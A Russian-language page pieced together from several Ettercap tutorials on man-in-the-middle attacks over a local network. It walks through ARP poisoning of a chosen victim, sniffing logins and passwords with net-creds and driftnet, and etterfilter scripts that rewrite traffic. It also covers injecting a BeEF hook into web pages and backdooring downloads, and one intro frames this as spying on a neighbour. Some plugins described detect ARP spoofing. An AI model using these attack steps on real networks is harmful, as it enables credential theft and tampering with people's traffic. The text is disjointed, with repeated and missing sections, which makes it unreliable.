Сканирование wifi-сетей в Ubuntu с Ettercap. Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами Устано

Альтернативы Ettercap

Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX - одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата - это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

Net-Creds снифит:

  • Посещённые URL
  • отправленные запросы POST
  • логины/пароли из форм HTTP
  • логины/пароли при базовой HTTP аутентификации
  • поиски HTTP
  • логины/пароли FTP
  • логины/пароли IRC
  • логины/пароли POP
  • логины/пароли IMAP
  • логины/пароли Telnet
  • логины/пароли SMTP
  • SNMP community string (общую строку)
  • все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
  • Kerberos

Хорошая подборка перехватываемых, а driftnet в этом плане попроще - только показывает перехваченные изображения.

Переключите вашу машину в режим пересылки (форвардинга).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем Ettercap с графическим интерфейсом (-G ):

Ettercap -G

Теперь выбираем Hosts , в нём подпункт Scan for hosts . После окончания сканирования выберите Hosts list :

В качестве Цели1 выберите роутер (Add to Target 1 ), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2 ).

Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

Если провести сканирование с помощью , то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

Nmap -sn 192.168.1.0/24

Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

Nmap -O 192.168.1.0/24

Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? 😉 LOL

Именно её мы и добавляем в качестве второй цели.

Теперь переходим к пункту меню Mitm . Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections .

Начинаем собирать урожай, в одном окне запускаем

Net-creds

в другом (обе программы можно запускать без опций)

Driftnet

Сразу же пошёл сбор данных:

В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

1.2 Ettercap + Burp Suite
3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

В меню View нам доступны вкладки Connections и Profiles . Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections - это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

Не надо слишком сильно полагаться именно на профили - помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

В Connections самые перспективные данные помечены звёздочкой:

Можно кликнуть два раза на эти записи для просмотра подробностей:

Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

Пойманная базовая аутентификация:

Логин-пароль для Яндекса (выделено внизу):

Это перехваченные учётные данные для Вконтакте:

Также самые интересные данные собираются в нижней консоли:

Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

Опции ведения журналов: -w, --write записать перехваченные данные в pcapfile -L, --log записать весь трафик в этот -l, --log-info записать только пассивную информацию в этот -m, --log-msg записать все сообщения в этот -c, --compress использовать сжатие gzip для файлов логов

4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

В общем, если у вас фильтры не заработали - то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter . Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

В файл с именем img_replacer.filter скопируйте:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }

Скомпилируйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

Ettercap -G -F img_replacer.ef

Примечание : Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); } }

Синтаксис написания фильтров подробно описан , а далее ещё несколько примеров:

# замена текста в пакете: if (ip.proto == TCP && search(DATA.data, "lol")){ replace("lol", "smh"); msg("filter ran"); } # показать сообщение, если tcp портом является 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # записать весь telnet трафик, также выполнить./program на каждый пакет if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, "./logfile.log"); } # некоторые операции с полезной нагрузкой пакетов if (DATA.data + 20 == 0x4142) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # отбросить все пакеты, содержащие "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # убийство пакетов if (ip.ttl < 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Подмена данных с помощью Burp

Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options . Находим там Match and Replace . Нажимаем Add для добавления нового правила.

  • Request header - это заголовок запроса
  • Request body - тело запроса
  • Response header - заголовок ответа
  • Response body - тело ответа
  • Request param name - Имя параметра запроса
  • Request param value - Значение параметра запроса
  • Request first line - Первая строка запроса

Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует - этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю.)))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

.*

No Title

Поставьте галочку на Regex match .

Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

Поставьте галочку на Regex match .

В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст - что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым - всё зависит от вашей фантазии.

Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ - то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF

Чтобы начать использовать возможности BeEF , нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

Следующие два метода различаются только методом внедрения этой строки.

5.1 Подцепление BeEF с помощью фильтров Ettercap

[раздел будет подготовлен позже]

5.2 Подцепление BeEF с помощью Burp

Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:

В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена

Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

6. Заражение бэкдорами

Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy . К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory : в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite. Пошаговый алгоритм представлен , не имеет смысла ещё раз его переписывать в этот раздел.

7. Использование плагинов Ettercap

Информацию о плагинах Ettercap можно найти . Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:

P, --plugin запустить этот

Также плагины можно загрузить из графического интерфейса:

[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop

Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

Ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 ...........................

7.2 autoadd

Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison

Он выполняет проверку - успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof

Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn

Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner

Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Пример удачного угадывания двух сетевых карт, находящихся в неразборчивом режиме:

Развернуть

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 5 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs: - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing was stopped.

7.9 sslstrip

Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

  • (62%)
  • (56.5%)
  • (RANDOM - 0.2%)
  • Риторика

    Сканирование беспроводных сетей wifi занятие такое же простое, как и компилирование приложений из исходников в оперционной системе Linux. Если вы хотите проверить, насколько разбирается ваш сосед в деле компьютерной безопасности или же вообще в компьютерных технологиях. А также узнать о нем несколько больше, чем он сам этого хочет. И при этом он, фактически, сам предлагает вам это сделать благодаря своей безграмотности. Тогда прошу следовать дальше, по волнам этого описания.

    Героем этой статьи будет недольшая, но умная и шустрая программка по имени . Она очень распространена в мире Linux и есть в репозиториях практически всех дистрибутивов. Ettercap , как любая истинная unix-программа, имеет две ипостаси: чистый, не замутненный всякими кнопками и свистелочками интерфейс командной строки CLI; более тяжелый, но удобный для новичков графический GUI (написанный на библиотеках GTK, а занчит, расчитаный на работу прежде всего под Gnome.).

    Под программу ettercap , помимо того, что она сама умеет делать многое, существует большое колличество плагинов, которые значительно расширяют ее возможности. С помощью ettercap вы можете сделать многое из того, что бы хотели.

    Конечно, ettercap не единственная утилита такого рода. Существует не менее известная и "навороченная" aircrack-ng . Но здесь мы остановим свой выбор именно на ettercap . И вы увидите, почему.

    Работу программы ettercap я буду приводить на примере дистрибутива Blackbuntu . Это очень неплохая операционная система для пентестинга, которая "появилась на свет" совсем . Она представляет из себя переработанную и дополненную необходимыми программами и утилитами Ubuntu (если быть точнее - Ubuntu 10.10). Так что те, кто привык работать с этой ОС, почувствуют себя в Blackbuntu в привычной обстановке. Набор программ для пентестинга почти не уступает хорошо известному BackTrack . Ну, а оформление дистрибутива заслуживает отдельной темы для обсуждения. Однако, мы отвлеклись. Переходим к программе ettercap .

    Установка ettercap в Ubuntu

    Запуск режима arp poisoning в ettercap

    Ставим галочку на Sniff Remote connections в появившемся диаговом окне настройки этого режима.

    Sniff Remote в ettercap

    Теперь нам нужно перейти в меню плагинов и выбрать один из них - chk_poison . Работа этого плагина ясна из его названия - он проверяет, включился ли у нас режим перехвата arp poisoning . Переходим в меню Plugins - Manage the Plugins , находим chk_poison и двойным щелчком запускаем его.

    Переходим в управление плагинами в ettercap

    Окно управления плагинами в ettercap

    Если режим перехвата включился успешно, то в окне логов мы должны увидеть следующую запись:

    Activating chk_poison plugin... chk_poison: You have to run this plugin during a poisoning session Unified sniffing already started...

    Вот теперь можно расслабиться и посмотреть, как идет сам процесс сниффинга. Переходим в меню View - Connections и смотрим, что у нас получилось.

    Процесс сниффинга в ettercap

    Как видите, окно Connections достаточно информативное. Показываются IP-адреса машин, их состояние (state), колличество переданных байт между каждой из них. Если хотим увидеть более подробную информацию (то, что передается), выбираем из списка строку и двойным щелчком открываем ее. Появится отдельное окно, в котором показаны перехваченные между этими машинами пакеты.

    Ettercap настроен так, что автоматически отлавливает и сохраняет пароли и логины, передаваемые по локальной сети. Осталось только немного подождать.

    Если вам понравилась статья, поделитесь ею с друзьями:

    Ettercap - это утилита для анализа сетевого трафика, проходящего через интерфейс компьютера, но с дополнительной функциональностью. Программа позволяет выполнять атаки типа "Человек посередине" чтобы заставить другой компьютер передавать пакеты не маршрутизатору, а вам.

    С помощью Ettercap вы можете проверить безопасность своей сети, насколько она подвержена такого типа атакам, а также анализировать трафик из нескольких компьютеров, и даже модифицировать его на лету. В этой статье мы рассмотрим как пользоваться Ettercap для анализа и модификации трафика.

    По умолчанию компьютер отправляет все сетевые пакеты, которые нужно отправить в интернет передает маршрутизатору, а тот, в свою очередь, отправляет их на следующий маршрутизатор, пока пакет не достигнет цели. Но по определенным причинам пакет может передаваться не маршрутизатору, а сразу вашему компьютеру, а уже затем маршрутизатору.

    Компьютер, через который будут проходить пакеты может анализировать источник, целевой адрес, а если они не зашифрованы, то и полное их содержимое.

    Существует два способа выполнения MITM (Man In Middle Attack):

    • ARP атака - с помощью особенностей протокола ARP ваш компьютер говорит другим, что он маршрутизатор, после этого все пакеты начинают предаваться ему;
    • DNS атака - когда компьютер пытается получить ip адрес для домена, мы подменяем этот адрес на свой, но чтобы этот вид работал, нужно использовать способ с ARP.

    Программа Ettercap Linux умеет выполнять оба вида атак. Кроме того, утилита может выполнять атаки на отказ в обслуживании и сканировать порты. А теперь давайте рассмотрим как выполняется установка и использование Ettercap.

    Установка Ettercap

    Это довольно популярная программа, среди специалистов по сетевой безопасности, поэтому она есть в официальных репозиториях большинства дистрибутивов. Например, чтобы установить Ettercap в Ubuntu выполните:

    sudo apt install ettercap-gtk

    В Fedora или других, основанных на ней дистрибутивах, команда будет выглядеть похожим образом:

    sudo yum install ettercap-gtk

    С задачей как установить Ettercap Linux мы справились, но перед тем, как ее использовать, нужно изменить несколько настроек в конфигурационном файле.

    sudo vi /etc/ettercap/etter.conf

    Строки ec_uid и ec_gid должны иметь значение 0, чтобы сервис программы работал от имени суперпользователя:


    ec_uid = 0 # nobody is the default
    ec_gid = 0 # nobody is the default

    redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

    Они используются для перенаправления SSL соединений на обычные HTTP, если это возможно. Дальше сохраните изменения и программа готова к работе.

    Использование Ettercap GUI

    Программа может работать в нескольких режимах - с графическим интерфейсом, без и в виде сервиса. Мы будем рассматривать работу в графическом интерфейсе. Для запуска программы с интерфейсом GTK используйте опцию -G:

    sudo -E ettercap -G

    Атака ARP-poisoning в Ettercap

    Как я уже говорил, с помощью этой атаки мы можем заставить целевой компьютер отправлять пакеты не маршрутизатору, а нам. Работает все достаточно просто. Компьютер знает IP маршрутизатора, он получил его при подключении к сети. Но каждый раз, когда ему нужно отправить пакет, нужно преобразовать этот универсальный IP адрес в низкоуровневый адрес используемой сетевой технологии, например, для проводного интернета - это MAC адрес.

    Для этого используется протокол ARP. Компьютер отправляет запрос всем устройствам в сети, например "кто такой 192.168.1.1" и маршрутизатор, увидев свой адрес отправит в ответе свой MAC. Дальше он будет сохранен в кэше. Но мы можем с помощью Ettercap попросить целевой компьютер обновить свой ARP кэш и передать ему вместо MAC адреса роутера свой MAC адрес. Тогда все пакеты будут передаваться нам, а уже мы отправим их куда нужно.

    Перейдем ближе к делу и выполним атаку attercap arp spofing. В Ettercap откройте меню Sniff и выберите Unified Snifing. Затем выберите ваш сетевой интерфейс, например, eth0 или wlan0:

    Окно программы измениться и нам будет доступно намного больше функций. Теперь нужно просканировать сеть. Для этого откройте меню Hosts и нажмите Scan hosts. Если даже что-то не работает, то вы можете загрузить список хостов из файла:

